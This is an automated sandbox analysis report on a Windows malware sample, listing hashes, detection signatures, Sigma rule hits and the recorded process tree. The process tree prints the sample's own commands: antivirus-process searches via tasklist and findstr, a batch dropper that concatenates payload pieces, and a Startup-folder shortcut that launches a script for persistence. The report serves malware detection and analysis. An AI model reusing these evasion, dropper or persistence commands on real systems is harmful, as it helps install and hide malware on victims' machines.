Edit tour

Windows Analysis Report
66fd8d779da5e_EscortsRadios.exe

Overview

General Information

Sample name:	66fd8d779da5e_EscortsRadios.exe
Analysis ID:	1525251
MD5:	9f2aa036b01b51f6ce185d8c2410c22a
SHA1:	b8fa58866b466500c34a5317d3de447bd9b4cd3e
SHA256:	beb7a3127427fa0560207cdb0becfebb2ed1c6d8dad335d3b3266ec741cdd495
Tags:	exeuser-aachum
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Machine Learning detection for sample

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

66fd8d779da5e_EscortsRadios.exe (PID: 6656 cmdline: "C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe" MD5: 9F2AA036B01B51F6CE185D8C2410C22A)

cmd.exe (PID: 6804 cmdline: "C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7044 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7120 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7136 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7144 cmdline: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5788 cmdline: cmd /c md 527294 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 4544 cmdline: findstr /V "phisexyerrorspuzzle" Recorder MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5964 cmdline: cmd /c copy /b ..\Bottle + ..\Audi + ..\Duties + ..\Integral + ..\Warren + ..\Casio + ..\Sunny d MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Miniature.pif (PID: 2484 cmdline: Miniature.pif d MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 928 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & echo URL="C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 2832 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

wscript.exe (PID: 7140 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

DatumHub.scr (PID: 3668 cmdline: "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr" "C:\Users\user\AppData\Local\DatumHub Technologies\s" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" , ProcessId: 7140, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Miniature.pif d, CommandLine: Miniature.pif d, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6804, ParentProcessName: cmd.exe, ProcessCommandLine: Miniature.pif d, ProcessId: 2484, ProcessName: Miniature.pif

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif, ProcessId: 2484, TargetFilename: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif, ProcessId: 2484, TargetFilename: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" , ProcessId: 7140, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 928, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6804, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 7144, ProcessName: findstr.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 92.8% probability

Machine Learning detection for sample

Source: 66fd8d779da5e_EscortsRadios.exe

Joe Sandbox ML: detected

Source: 66fd8d779da5e_EscortsRadios.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 66fd8d779da5e_EscortsRadios.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00FF4005
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00FF494A
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00FF3CE2
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00FFC2FF
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_00FFCD9F
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFCD14 FindFirstFileW,FindClose,	10_2_00FFCD14
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FFF5D8
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FFF735
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00FFFA36
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B24005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00B24005
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2494A GetFileAttributesW,FindFirstFileW,FindClose,	18_2_00B2494A
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_00B2C2FF
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	18_2_00B2CD9F
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2CD14 FindFirstFileW,FindClose,	18_2_00B2CD14
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_00B2F5D8
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_00B2F735
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_00B2FA36
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B23CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00B23CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\527294\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\527294	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: unknown

DNS traffic detected: query: fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz replaycode: Name error (3)

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_010029BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

10_2_010029BA

Source: global traffic

DNS traffic detected: DNS query: fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz

Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: 66fd8d779da5e_EscortsRadios.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000000.1784235440.0000000001059000.00000002.00000001.01000000.00000006.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, DatumHub.scr, 00000012.00000002.2979969921.0000000000B89000.00000002.00000001.01000000.00000008.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: DatumHub.scr.10.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_01004830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		10_2_01004830
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B34830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		18_2_00B34830

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_01004632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

10_2_01004632

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_0101D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		10_2_0101D164
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B4D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		18_2_00B4D164

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FF42D5: CreateFileW,DeviceIoControl,CloseHandle,

10_2_00FF42D5

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FE8F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

10_2_00FE8F2E

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	10_2_00FF5778
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B25778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	18_2_00B25778

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	File created: C:\Windows\ReceivingPlugins	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	File created: C:\Windows\AttentionStd	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	File created: C:\Windows\HomesLand	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	File created: C:\Windows\ChangelogBriefly	Jump to behavior

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00F9B020	10_2_00F9B020
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00F994E0	10_2_00F994E0
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00F99C80	10_2_00F99C80
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB23F5	10_2_00FB23F5
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_01018400	10_2_01018400
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FC6502	10_2_00FC6502
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00F9E6F0	10_2_00F9E6F0
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FC265E	10_2_00FC265E
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB282A	10_2_00FB282A
